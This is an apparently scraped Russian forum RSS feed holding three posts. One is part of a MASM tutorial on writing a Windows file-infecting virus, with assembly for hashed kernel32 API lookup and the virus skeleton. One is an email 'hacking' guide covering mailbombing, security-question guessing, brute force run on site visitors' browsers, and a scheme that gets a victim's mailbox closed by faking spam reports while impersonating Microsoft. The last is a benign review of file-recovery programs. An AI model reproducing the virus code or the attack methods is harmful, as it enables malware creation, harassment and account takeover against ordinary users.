/&gt;&amp;#160; &amp;#160; lodsd&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160;; получим RVA на таблицу ординалов&lt;br /&gt;&amp;#160; &amp;#160; push&amp;#160; eax&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160;; [ebp]&lt;br /&gt;&amp;#160; &amp;#160; mov&amp;#160; &amp;#160;edi, [esp+4*5]&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; ; edi = дельта_смещение&lt;br /&gt;&amp;#160; &amp;#160; lea&amp;#160; &amp;#160;edi, [edi+HashTable]&amp;#160; &amp;#160; &amp;#160; ; edi указывает на начало HashTable&lt;br /&gt;&amp;#160; &amp;#160; mov&amp;#160; &amp;#160;ebp, esp&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; ; сохраняем базу стека&lt;/p&gt;
						&lt;p&gt;_BeginSearch:&lt;br /&gt;&amp;#160; &amp;#160; mov&amp;#160; &amp;#160;ecx, [ebp+4*4]&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; ; число имен функций&lt;br /&gt;&amp;#160; &amp;#160; xor&amp;#160; &amp;#160;edx, edx&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; ; здесь хранится порядковый номер &lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; ; функции (от 0)&lt;/p&gt;
						&lt;p&gt;_SearchAPIName:&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;br /&gt;&amp;#160; &amp;#160; mov&amp;#160; esi, [ebp+4*1]&lt;br /&gt;&amp;#160; &amp;#160; mov&amp;#160; esi, [esi]&lt;br /&gt;&amp;#160; &amp;#160; add&amp;#160; esi, ebx&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160;; адрес ASСII-имени очередной API-&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; ; функции&lt;/p&gt;
						&lt;p&gt;; подсчет хэш-значения от имени функции&lt;br /&gt;_GetHash:&lt;br /&gt;&amp;#160; &amp;#160; xor&amp;#160; eax, eax&lt;br /&gt;&amp;#160; &amp;#160; push eax&lt;br /&gt;_CalcHash:&lt;br /&gt;&amp;#160; &amp;#160; ror&amp;#160; eax, 7&lt;br /&gt;&amp;#160; &amp;#160; xor&amp;#160; [esp],eax&lt;br /&gt;&amp;#160; &amp;#160; lodsb&lt;br /&gt;&amp;#160; &amp;#160; test al, al&lt;br /&gt;&amp;#160; &amp;#160; jnz&amp;#160; _CalcHash&lt;br /&gt;&amp;#160; &amp;#160; pop&amp;#160; eax&lt;/p&gt;
						&lt;p&gt;; хэш подсчитан&lt;br /&gt;OkHash:&lt;br /&gt;&amp;#160; &amp;#160; cmp&amp;#160; eax, [edi]&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160;; сверяем полученный hash с тем что в &lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; ; таблице HashTable&lt;br /&gt;&amp;#160; &amp;#160; je&amp;#160; &amp;#160;_OkAPI&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160;; переходим на вычисление адреса функции&lt;br /&gt;&amp;#160; &amp;#160; add&amp;#160; dword ptr [ebp+4*1], 4&amp;#160; &amp;#160; &amp;#160;; сдвигаемся к другому элементу таблицы &lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; ; экспорта&lt;br /&gt;&amp;#160; &amp;#160; inc&amp;#160; edx&lt;br /&gt;&amp;#160; &amp;#160; loop _SearchAPIName &lt;br /&gt;&amp;#160; &amp;#160; jmp&amp;#160; _Exit&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;/p&gt;
						&lt;p&gt;; вычисляем адрес функции&lt;br /&gt;_OkAPI:&lt;br /&gt;&amp;#160; &amp;#160; shl&amp;#160; edx, 1&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160;; номер функции&lt;br /&gt;&amp;#160; &amp;#160; mov&amp;#160; ecx, [ebp]&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160;; берем указатель на таблицу ординалов&lt;br /&gt;&amp;#160; &amp;#160; add&amp;#160; ecx, ebx&lt;br /&gt;&amp;#160; &amp;#160; add&amp;#160; ecx, edx&lt;br /&gt;&amp;#160; &amp;#160; mov&amp;#160; ecx, [ecx]&lt;br /&gt;&amp;#160; &amp;#160; and&amp;#160; ecx, 0FFFFh&lt;br /&gt;&amp;#160; &amp;#160; mov&amp;#160; edx, [ebp+4*3]&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160;; извлекаем RVA таблицы экспорта&lt;br /&gt;&amp;#160; &amp;#160; add&amp;#160; edx, ebx&lt;br /&gt;&amp;#160; &amp;#160; shl&amp;#160; ecx, 2&lt;br /&gt;&amp;#160; &amp;#160; add&amp;#160; edx, ecx&lt;br /&gt;&amp;#160; &amp;#160; mov&amp;#160; edx, [edx]&lt;br /&gt;&amp;#160; &amp;#160; add&amp;#160; edx, ebx&lt;br /&gt;&amp;#160; &amp;#160; push edx&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; ; сохраняем адрес найденной функции в &lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; ; стеке&lt;br /&gt;&amp;#160; &amp;#160; cmp&amp;#160; word ptr [edi+4], 0FFFFh&amp;#160; &amp;#160;; Конец списка?&lt;br /&gt;&amp;#160; &amp;#160; je&amp;#160; &amp;#160;_Call_API&lt;br /&gt;&amp;#160; &amp;#160; add&amp;#160; edi, 4&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160;; следующее hash-значение функции&lt;/p&gt;
						&lt;p&gt;_NextName:&lt;br /&gt;&amp;#160; &amp;#160; mov&amp;#160; ecx, [ebp+4*2]&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160;; восстанавливаем начало таблицы экспорта&lt;br /&gt;&amp;#160; &amp;#160; add&amp;#160; ecx, ebx&lt;br /&gt;&amp;#160; &amp;#160; mov&amp;#160; [ebp+4*1], ecx&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160;; Index в таблице имен&lt;br /&gt;&amp;#160; &amp;#160; jmp&amp;#160; short _BeginSearch&lt;/p&gt;
						&lt;p&gt;Но как нам вычислить заранее хеш-значение определенного имени? Для этого я написал небольшую программку на Visual C++ с ассемблерной вставкой, ссылку на которую можно найти в конце статьи (с исходником). &lt;/p&gt;
						&lt;p&gt;После выполнения приведенного кода адреса всех функций будут находиться в стеке: &lt;br /&gt;CloseHandle&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160;equ dword ptr [ebp-4*1]&lt;br /&gt;FindFirstFileA&amp;#160; &amp;#160; &amp;#160; equ dword ptr [ebp-4*2]&lt;br /&gt;FindNextFileA&amp;#160; &amp;#160; &amp;#160; &amp;#160;equ dword ptr [ebp-4*3]&lt;br /&gt;CreateFileA&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160;equ dword ptr [ebp-4*4]&lt;br /&gt;ReadFile&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; equ dword ptr [ebp-4*5]&lt;br /&gt;GlobalAlloc&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160;equ dword ptr [ebp-4*6]&lt;br /&gt;GetFileSize&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160;equ dword ptr [ebp-4*7]&lt;br /&gt;SetFilePointer&amp;#160; &amp;#160; &amp;#160; equ dword ptr [ebp-4*8]&lt;br /&gt;WriteFile&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160;equ dword ptr [ebp-4*9]&lt;br /&gt;GlobalFree&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; equ dword ptr [ebp-4*10]&lt;br /&gt;VirtualProtect&amp;#160; &amp;#160; &amp;#160; equ dword ptr [ebp-4*11]&lt;br /&gt;_ExitProcess&amp;#160; &amp;#160; &amp;#160; &amp;#160; equ dword ptr [ebp-4*12]&lt;br /&gt;GetProcAddress&amp;#160; &amp;#160; &amp;#160; equ dword ptr [ebp-4*13]&lt;br /&gt;LoadLibrary&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160;equ dword ptr [ebp-4*14]&lt;br /&gt;FindClose&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160;equ dword ptr [ebp-4*15]&lt;br /&gt;GetModuleFileNameA&amp;#160; equ dword ptr [ebp-4*16]&lt;br /&gt;SetCurrentDirectoryA equ dword ptr [ebp-4*17]&lt;br /&gt;FreeLibrary&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160;equ dword ptr [ebp-4*18]&lt;br /&gt;Общая структура вирусного кода&lt;/p&gt;
						&lt;p&gt;Все вышесказанное было лишь прелюдией в процессе написания нашего вируса. Теперь начнется самое интересное. Будем писать вирус на MASM. Почему я отдаю предпочтение этому пакету? Просто он мне нравится. &lt;/p&gt;
						&lt;p&gt;Напишем общий файл main.asm, который будет включать отдельные части кода: &lt;br /&gt;.386&lt;br /&gt;.model flat, stdcall&lt;br /&gt;option casemap:none&lt;/p&gt;
						&lt;p&gt;pushz macro szText:VARARG&lt;br /&gt;&amp;#160; &amp;#160; local nexti&lt;br /&gt;&amp;#160; &amp;#160; call&amp;#160; nexti&lt;br /&gt;&amp;#160; &amp;#160; db&amp;#160; &amp;#160; szText, 0&lt;br /&gt;nexti:&lt;br /&gt;endm&lt;/p&gt;
						&lt;p&gt;includelib lib\kernel32.lib&lt;/p&gt;
						&lt;p&gt;ExitProcess PROTO :DWORD&lt;/p&gt;
						&lt;p&gt;.data&lt;br /&gt;&amp;#160; &amp;#160; db 0&lt;br /&gt;.code&lt;br /&gt;&amp;#160; &amp;#160; invoke ExitProcess, 0&lt;br /&gt;start:&lt;/p&gt;
						&lt;p&gt;; Стартовый код и код по поиску адресов функций&lt;br /&gt;include inc\start_code.inc&lt;/p&gt;
						&lt;p&gt;; Вирусный код&lt;br /&gt;include inc\virus_code.inc&lt;/p&gt;
						&lt;p&gt;; Данные&lt;br /&gt;include inc\data.inc&lt;/p&gt;
						&lt;p&gt;end start&lt;/p&gt;
						&lt;p&gt;В файле start_code.inc содержится весь приведенный ранее код по определению дельта-смещения, поиску базы kernel и адресов функций. Содержимое остальных файлов будет ясно из дальнейшего изложения. Но в любом случае в конце статьи есть ссылки с полностью рабочими примерами и исходниками. &lt;/p&gt;
						&lt;p&gt;Смотря на этот код, можно задать как минимум два вопроса: &lt;br /&gt;зачем нам макрос szText?&lt;br /&gt;зачем подключать библиотеку kernel32.lib и вызывать функцию ExitProcess перед начальной меткой?&lt;/p&gt;
						&lt;p&gt;Хитрый макрос позволяет нам не хранить текст в переменной, а сразу заталкивать его адрес в стек перед вызовом какой-либо функции, имеющей одним из своих параметров текстовую строку. Например, в функцию LoadLibrary: &lt;br /&gt;pushz “user32.dll”&lt;br /&gt;call&amp;#160; LoadLibrary&lt;/p&gt;
						&lt;p&gt;Что же касается вызова функции ExitProcess, то здесь проблема кроется в системах старше Windows XP (Win9x\Me\NT\2000). При попытке запустить код без такого вызова программа попросту не запускалась в перечисленых системах. Причем молча. Скорее всего, это связано с тем, что в данных системах загрузчик не хочет загружать программы без секций импорта. Не будем отвлекаться от нашей темы, поскольку исследование данного вопроса выходит за рамки этой статьи.&lt;/p&gt;</description>
			<author>mybb@mybb.ru (Administrator)</author>
			<pubDate>Sun, 23 Jan 2011 12:32:26 +0300</pubDate>
			<guid>https://budonline.bbeasy.ru/viewtopic.php?pid=13#p13</guid>
		</item>
		<item>
			<title>Взлом мыла (user manual): #1</title>
			<link>https://budonline.bbeasy.ru/viewtopic.php?pid=12#p12</link>
			<description>&lt;p&gt;Самый распространенный способ общения людей в Инете - это несомненно E-mail (мыло, как называем его мы - хацкеры:)). Можно переписываться с кем угодно по всему миру, получать новости, обменивать и скачивать проги. Я бы не стал говорить, что мыло действительно нужно каждому, это даже не Рулезз! (правило жизни) и не ПОИНТ (базовая точка), МЫЛО - эта сама жизнь! Жизнь в Интернете основана на взаимном общении и E-mail в этом - основа! Конечно, есть и другие способы общения (Аська, BBS, Chat, IRC), но это не так круто.&lt;br /&gt;Не понимаю я людей, у которых есть выход в сеть, но нет е-мейла. Последнее время меня просто бесят люди без выхода в сеть и мыла. Блин, ну мы же не в 18-ом веке живем: заводи Ё-маil хоть каждый день! Че-то я отвлекся, эта статья о том как [з]ахватить, [з]авалить, [з]акрыть ящик соседа.&lt;br /&gt;Работать с почтой можно по-разному. Работать в браузере на страничках почтовых служб наиболее глупо и небезопасно (хотя в случае внезапной потери всей инфы на винте это пригодится, т.к. письма хранятся на серваке почтовой службы). Однако чаще пользуются мейлерами - спецовыми прогами, которые скачивают почту с серваков и выдают тебе её на блюдечке. Типичный пример - OutLook Express, который поставляется вместе с Маcтдаем и потому многие его юзают (включая меня!).&lt;/p&gt;
						&lt;p&gt;Ready? GO!&lt;/p&gt;
						&lt;p&gt;Как можно узнать пароли к чужому ящику? Существует масса способов. Например, в некоторых почтовых службах предлагают услуги по подсказке пароля к аккаунту, если ты сообщишь им дату создания этого ящика или ответишь на некоторый вопрос (который ты сам задаешь при создании шампуня). Ответы на эти вопросы можно незаметно выудить из самого человека (метод Социального Перегруза или БиоХака) или попытаться подобрать самому. Например самый распространенный вопрос - &amp;quot;Как меня зовут?&amp;quot; или &amp;quot;Девичья фамилия матери&amp;quot;. Ну, и вариации на эту тему!&lt;/p&gt;
						&lt;p&gt;Подобная штука есть на wwwmail.ru, wwwe-mail.ru и wwwnewmail.ru, etc. Конечно, самый надёжный способ узнать пароль - это офф- или он-лайн шпионство (типа засылка троянов). Здесь, как говорится, результат не заставит себя долго ждать.&lt;/p&gt;
						&lt;p&gt;Let`s go FLOOD&lt;/p&gt;
						&lt;p&gt;Теперь поговорим о конкретном: атака на мыло - это, в основном, флуд/cпам ящика. Флуд - это когда ты утром проверяешь почту - а там 1000 писем 100 килобабного содержания. Вот и попробуй разобраться с ними. Вообще-то зафлудить мыло проще пареной репы, поэтому этот способ юзают только дауны и ламеры! Вот, к примеру 3 способа:&lt;/p&gt;
						&lt;p&gt;1. Все, что нужно, это подключиться к 25 порту какого-нибудь почтового сервера (даже не обязательно почтового, а просто того на котором работает старая версия почтового демона, или к компьютеру, предоставляющему почтовый доступ к FTP sit&#039;ам и представившись тем, кому вы желаете подложить свинью заказать пару-сотню файлов на ваше усмотрение:)).&lt;/p&gt;
						&lt;p&gt;2. Воспользоваться анонимным мейл-генератором. Спецовая прога, которая создаёт огромное количество писем и посылает их по адресу с вашего компа. Таких прог существует куча, вот типичные проги: HackTek и ещё лучше Avalanch. Только не забудь включить анонимный прокси:). Хотя, почти с каждой такой прогой прилагается хороший прокси-лист. Если нет - бегом на wwwvoid.ru=)).&lt;/p&gt;
						&lt;p&gt;3. Воспользоваться почтовой службой общественного пользования, типа wwwmail.ru или wwwinbox.ru и под анонимным логином отослать штук 20 писем размером по 500кБ. Это самый гиморный способ, да и к тому же письма отсылаются медленно, но гораздо быстрее, чем это было бы с твоего компа. Опять же обязательно врубай анонимный прокси.&lt;/p&gt;
						&lt;p&gt;4. Подписать атакуемое мыло на какую-нибудь рассылку(или эхо) (типа компьютерные клубы, где обсуждаются разные темы среди большого круга людей. В принципе тут проблем нет, но я не советую этим злоупотреблять, т.к. это ламерские шутки. Используйте их, если есть повод. Вот типично: вы договорились об обмене данными, а ваш партнёр обманул вас. Вот тут это и пригодится. Флуд - это как ядерное оружие - все об этом знают, но никто им не пользуется, зато в мире порядок и дружба. Теперь ты тоже ядерная страна:).&lt;/p&gt;
						&lt;p&gt;4. Зафлудить ящик с помощью cgi-скрипта на твоей паге. Подробнее читай статью CuTTer-a (cutter@real.xakep.ru)&amp;#160; в хз каком номере Х:).&lt;/p&gt;
						&lt;p&gt;Кто я?&lt;/p&gt;
						&lt;p&gt;К каждому письму прикрепляется небольшая шапка, которая содержит много интересной информации: IР-шник, название и регистрационный номер проги - мейлера, которым пользуется приславший письмо, почтовая служба, уникальный номер письма, путь прохождения письма до вас, время отправления и прибытия, номер компа в локальной сети и многое другое. Однако, всё это скрыто от читателя, т.е. тебя! Давай посмотрим эту интересную инфу. Если ты всё еще пользуешься Outlook-ом, то открой исследуемоё письмо и жмем Файл, затем Свойства и выбираем закладку Подробности. Теперь всё на виду. В The Bat! делаем так: Открываем письмо, жмём Просмотр и выбираем Служебная информация. Сверху письма прибавляется шапка.&lt;/p&gt;
						&lt;p&gt;О том, что можно вытянуть из шапки, Я покажу тебе на примере. # - МОИ КОММЕНТАРИИ.&lt;br /&gt;Return-Path: sony-lamer@mail.ru&lt;br /&gt;#Установленный адрес возврата, но он мало что говорит, т.к. его с лёгкостью можно подделать (мы сами ставим его в настройках).&lt;br /&gt;Received: from relay1.aha.ru ([195.4.67.135] verified) by aha.ru (CommuniGate Pro SMTP 3.2b4)&lt;br /&gt;with ESMTP id 4637825 for system@local.net; Sun, 10 Jun 1899 13:17:51 +0400&lt;br /&gt;#Дата получения послания моим почтовым серваком&lt;br /&gt;Received: from elephant.mail.ru (elephant.mail.ru [194.226.198.85]) by relay1.aha.ru&lt;br /&gt;(8.9.3/8.9.3/aha-r/0.04B) with ESMTP id XAA00604 for (system@local.net); Sun, 11 Jul 1999 23:16:46+0400 (MSD)&lt;br /&gt;#Дальше пошли почтовые серваки с их IPшниками и датами получения\пересылки&lt;br /&gt;Received: from camel-int ([10.0.1.1] helo=camel.mail.ru) by elephant.mail.ru&lt;br /&gt;with esmtp (Exim2.12 #1) id 113P5h-000NVu-00; Sun, 11 Jul 1999 23:16:45 +0400&lt;br /&gt;Received: (from mail@localhost) by camel.mail.ru (8.9.2/8.9.1) id XAA64053; Sun,&lt;br /&gt;11 Jul 199923:16:45 +0400 (MSD)Date: Sun, 10 Jun 1899 13:17:51 +0400 (MSD)&lt;br /&gt;#Вот и дата прибытия письма на мой почтовый сервак.&lt;br /&gt;Message-Id: 199907111916.XAA64053@camel.mail.ru&lt;br /&gt;#Уникальный номер письма. Если тебя зафлудили или прислали что-нибудь нехорошее, то ты можешь нажаловаться админу почтового сервака, переслав ему эти письма. Подробнее читай ниже. &lt;br /&gt;Received: from [212.46.8.60] by win.mail.ru with HTTP; Sun, 10 Jul 1985 19:16:45 +0000 (GMT)&lt;br /&gt;#Попался! IP-шник приславшего с датой отправки&lt;br /&gt;From: =?KOI8-R?Q?&amp;quot;Ипполит=20Т&amp;quot;?= (sony-lamer@mail.ru)&lt;br /&gt;#Кодировка отправления и мыло отправителя&lt;br /&gt;To: system@local.net&lt;br /&gt;#это ты.&lt;br /&gt;Cc: sony-lamer@mail.ruSubject: =?KOI8-R?Q?Re:=20Ксакеп-круто=кул?=&lt;br /&gt;Mime-Version: 1.0X-Mailer: The Bat! (v1.33) S/N 9EB473C9&lt;br /&gt;#Посылал The Bat! версия и регистрационный номер как на ладони.&lt;br /&gt;X-Originating-IP: [212.46.8.60]?IP&#039;шник товарища,отправившего мне письмо.&lt;br /&gt;Content-Type: text/plain; charset=koi8-r&lt;br /&gt;#Сообщение выслано прямым простым текстом в кодировке KOI8-R&lt;br /&gt;Content-Transfer-Encoding: 8bit?&lt;br /&gt;Далее идет никому не нужная муть:).&lt;/p&gt;
						&lt;p&gt;Способы послать анонимный е-мэйл мы уже рассмотрели выше на примере, как зафлудить ящик. В этом случае нужно просто послать всего одно сообщение, а не 10000! То, что вас не узнают - это 100%. Только не нарывайтесь на международные службы типа FBI или ФАПСИ, они могут узнать ваш IP у прокси-сервера (вот им он точно расскажет!). Но, я думаю, Вы люди умные и сами сможете определить - на кого стоит нарываться, а с кем лучше дружить (правило хакера: не ссорься со всеми сразу!:)).&lt;/p&gt;
						&lt;p&gt;Brute Force&lt;/p&gt;
						&lt;p&gt;Можно так же узнать пароли на мыло и прямым Brute Force. Но используя ресурсы только твоего компа - это может занять месяц! Тут нужно действовать по-другому. Возможно организовать Brute Force атаку с вашей паги (page) используя Java-апплет. И каждый посетитель вашей странички (с согласия или без) будет принимать участие в кряке! В этом случае можно сломать пароль и за 2-4 дня! Но подробнее об этом позже. Если у тебя выделенка - уже лучше, но лучше юзать рут шелл(как получить бесплатный шелл читай скоро на [x]).&lt;/p&gt;
						&lt;p&gt;Письма смерти.&lt;/p&gt;
						&lt;p&gt;Рассматривать захват почты буду на примере халявной почтовой службы. В принципе, таки образом можно захватить таким способом любой ящик в сети. Итак ищем жертву. Допустим, это опять Василиса Пупкевич с мылом sony-lamorz@mail.ru. Для начала ты должен отправить ему на мыло любое письмо для проверки, в котором попросить, найти любую причину, отправить вам обратно это письмо как можно быстрее. Способ работает только тогда когда владелец регулярно проверяет свою почту, в данном случае почту sony-lamorz@mail.ru. А если нет, зачем тебе тогда это мыло?:)). Вам необходимо написать на английском письмо со спамом, надеюсь этому учить не надо, хотя для тех кто не умеет выражаться вот пример. Вы отправляете ему это письмо в txt файле и просите послать ламера это письмо со спамом вам обратно на почту, только нужно, чтобы ламер скопировал данный спам и послал как обычное письмо, без прикрепленного файла. Дальше пишешь умную мессагу админу мэил.ру [support@mail.ru] и говоришь в ней, мол, такой то ублюдок занимается спамом, флудом о вообще онанизмом:). И прилагаешь еще данное письмо со спамом. Через несколько часов тебе приходит извещение от админа посмотреть всю инфу о пользователе, пославшем вам это письмо, это делается очень просто: открываешь письмо ламера , посланное тебе со спамом, нажимаешь на кнопочку more details, или вроде того, и копируешь всю инфу об этом письме и владельце данного письма. Шлешь ее админу мэил.ру, он проверяет своими способами, было ли и вправду отправлено данное письмо, а так как ламер вам сам его послал, то оно, естественно, было отправлено вам, и в последствии вам приходит благодарность и ящик пива:) от админа мэил.ру, в письме от админа будет говориться то, что данный ящик закрыт благодаря таким людям как ты! Отечество тебя не забудет, перец. Данный способ обмана почтовых служб работает только на бесплатных почтах, на платных настоящего юзера не закроют у него сначала 50 раз спросят было ли все так, как я говорю. Лучше в конце письма сделать небольшую приписочку, вроде:&lt;br /&gt;С уважением, Петров Александр(#имя вымышленное)&lt;br /&gt;Представительство Microsoft в России&lt;br /&gt;E-mail:rus_microsoft@mail.ru&lt;br /&gt;&lt;a href=&quot;http://www.microsoft.com/rus&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://www.microsoft.com/rus&lt;/a&gt;&lt;/p&gt;</description>
			<author>mybb@mybb.ru (Administrator)</author>
			<pubDate>Sun, 23 Jan 2011 12:29:45 +0300</pubDate>
			<guid>https://budonline.bbeasy.ru/viewtopic.php?pid=12#p12</guid>
		</item>
		<item>
			<title>Программы восстановления файлов: лучшие из лучших</title>
			<link>https://budonline.bbeasy.ru/viewtopic.php?pid=11#p11</link>
			<description>&lt;p&gt;В интернете, в том и числе и на нашем портале, не однократно поднимали тему восстановления файлов. На самом деле, существует целый класс универсальных и прекрасно работающих программ, отличающихся друг от друга только классом применения – нужно ли вам восстановить затёртую переписку по аси или отполированный силовым кабелем жёсткий диск. В этом забеге до финишной черты добежали все участники – будьте уверены, каждая из этих программ справится с тем, с чем заявлено обязана справиться. Я не указываю ссылки и цены, поскольку вооружившись гуглом (и я не пиарю гугл) вы быстро обнаружите как эти очень популярные программы, так и лекарства к ним. В конце я поделюсь с вами моими субъективными впечатлениями и замечаниями для тех, кто так или иначе хочет выбрать «самую самую из самых самых». &lt;br /&gt;Search and Recover&lt;/p&gt;
						&lt;p&gt;Начнём со стандартного списка возможностей, присущих большинству программ этого класса: поддержка большинства файловых систем; поиск затертых файлов на любом устройстве, оснащённом постоянной памятью; работа на переносных носителях (вы можете запустить прогу с cd-dvd и прошерстить повреждённый хард); восстановление файлов после очистки корзины, с отформатированных дисков, после переустановки Windows, немедленное восстановление сообщений в Microsoft Outlook, Outlook Express, Netscape Mail, и QUALCOMM Eudora. Восстановление контактов, календарей, задач и т.д. в MS Outlook. Наличествует функция preview, при помощи которой можно просмотреть затертый файл, не восстанавливая его (как в его естественном виде, так и, для особых эстетов, в шестнадцатеричной кодировке). &lt;/p&gt;
						&lt;p&gt;Search and Recover позволяет работать в двух режимах: «мастер» и пользователь. Отмечу, что в данном контексте «мастер» - это настройки программы под «искусственный интеллект», где она, по идеи, должна сама за вас всё делать. В режиме «мастера» легкодоступны все самые необходимые инструменты. «Пользовательский» режим имеет ряд отличий. Вы сами задаёте типы файлов и их местонахождение, указываете дисковые накопители.&amp;#160; Стоит отметить юзабилетный интерфейс программы: различные файлы выделяются разными цветами (то есть все текстовые файлы, вы, например, можете увидеть по заданному цвету). Есть также возможность просмотра всех файлов, находящихся в хорошем, удовлетворительном или плохом состоянии. &lt;/p&gt;
						&lt;p&gt;В качестве бонуса отмечу функцию полного стирания файлов (методом многократной перезаписи) и высокую, даже очень, скорость работы. &lt;br /&gt;EasyRecovery&lt;/p&gt;
						&lt;p&gt;[Все стандартные возможности]&lt;/p&gt;
						&lt;p&gt;С помощью EasyRecovery Professional возможно восстановление на диске более 300 файлов различных типов включая музыкальные MIDI-файлы, файлы звукозаписи, фильмы и многое другое, с чем может столкнуться современный пользователь. По сути дела, EasyRecovery состоит из модуля восстановления данных DataRecovery, модуля восстановления файлов FileRecovery, модуля диагностики дисков и пользователя, пытающегося во всём этом разобраться.&lt;/p&gt;
						&lt;p&gt;Диагностирующая часть программы обеспечивает: тестирование дисков и их разделов; детальную информацию об использовании дискового пространства; информацию о положениях DIP-переключателей дисков (через интернет); создание дискеты диагностики, загружающей версию Caldera DR-DOS.&lt;/p&gt;
						&lt;p&gt;Сканирование диска, особенно большой емкости, в отличии от предыдущего участника нашего забега, требует немалого времени. Неудивительно, что есть возможность остановить этот процесс и запомнить его состояние, с тем, чтобы возобновить сканирование позднее. Тестирование может быть различной глубины и занимать различное время, но и краткий тест обеспечивает, по данным самой компании, надежность диагноза в 90%. В программе предусмотрено считывание из контроллера диска соответствующих технологии SMART параметров (порогов) и предупреждение о возможных проблемах с ним (только для современных дисков).&lt;/p&gt;
						&lt;p&gt;Восстановление данных возможно на разных уровнях, вплоть до серьёзного повреждения файловой системы. Резюмируя можно заключить, что программа со столь богатым функционалом, может пригодиться тем пользователя, которые жёстко поиздевались над жёстким диском (простите за каламбур) и не смогли восстановить потерянную информацию другими, более быстродействующими средствами.&lt;br /&gt;DiskInternals Uneraser&lt;/p&gt;
						&lt;p&gt;[Все стандартные возможности] +&lt;br /&gt;[Восстановление сжатых (под NTFS) и зашифрованных (под NTFS5) файлов, поддержка длинных имен, восстановление разделов с подразделами]&lt;/p&gt;
						&lt;p&gt;Авторы программы заявляют, что обладают уникальной технологией восстановления удаленных разделов на FAT32 в Windows 2000/XP вместе с их содержимым. Еще одно отличие программы от других подобных утилит заключается в том, что при восстановлении файлов в операционных системах Windows 2000/XP и в FAT32 далеко не всегда удается восстановить их полностью. Поэтому рассматриваемая нами файлы программа восстанавливает их в нескольких вариантах, наиболее подходящих по их содержимому, чтобы пользователь далее мог сам определить, какой из них является более подходящим, и уже иными средствами смог выбрать из них необходимую информацию, если файл восстановился не полностью. (Но вот архивные файлы восстанавливаться не захотели. Программа не показывала их в числе файлов в удаленных разделах.) Специфические особенности файловой системы NTFS не позволяют для отдельных файлов определить раздел, в котором они ранее находились. Такие файлы помещаются в общую папку Lost files. &lt;/p&gt;
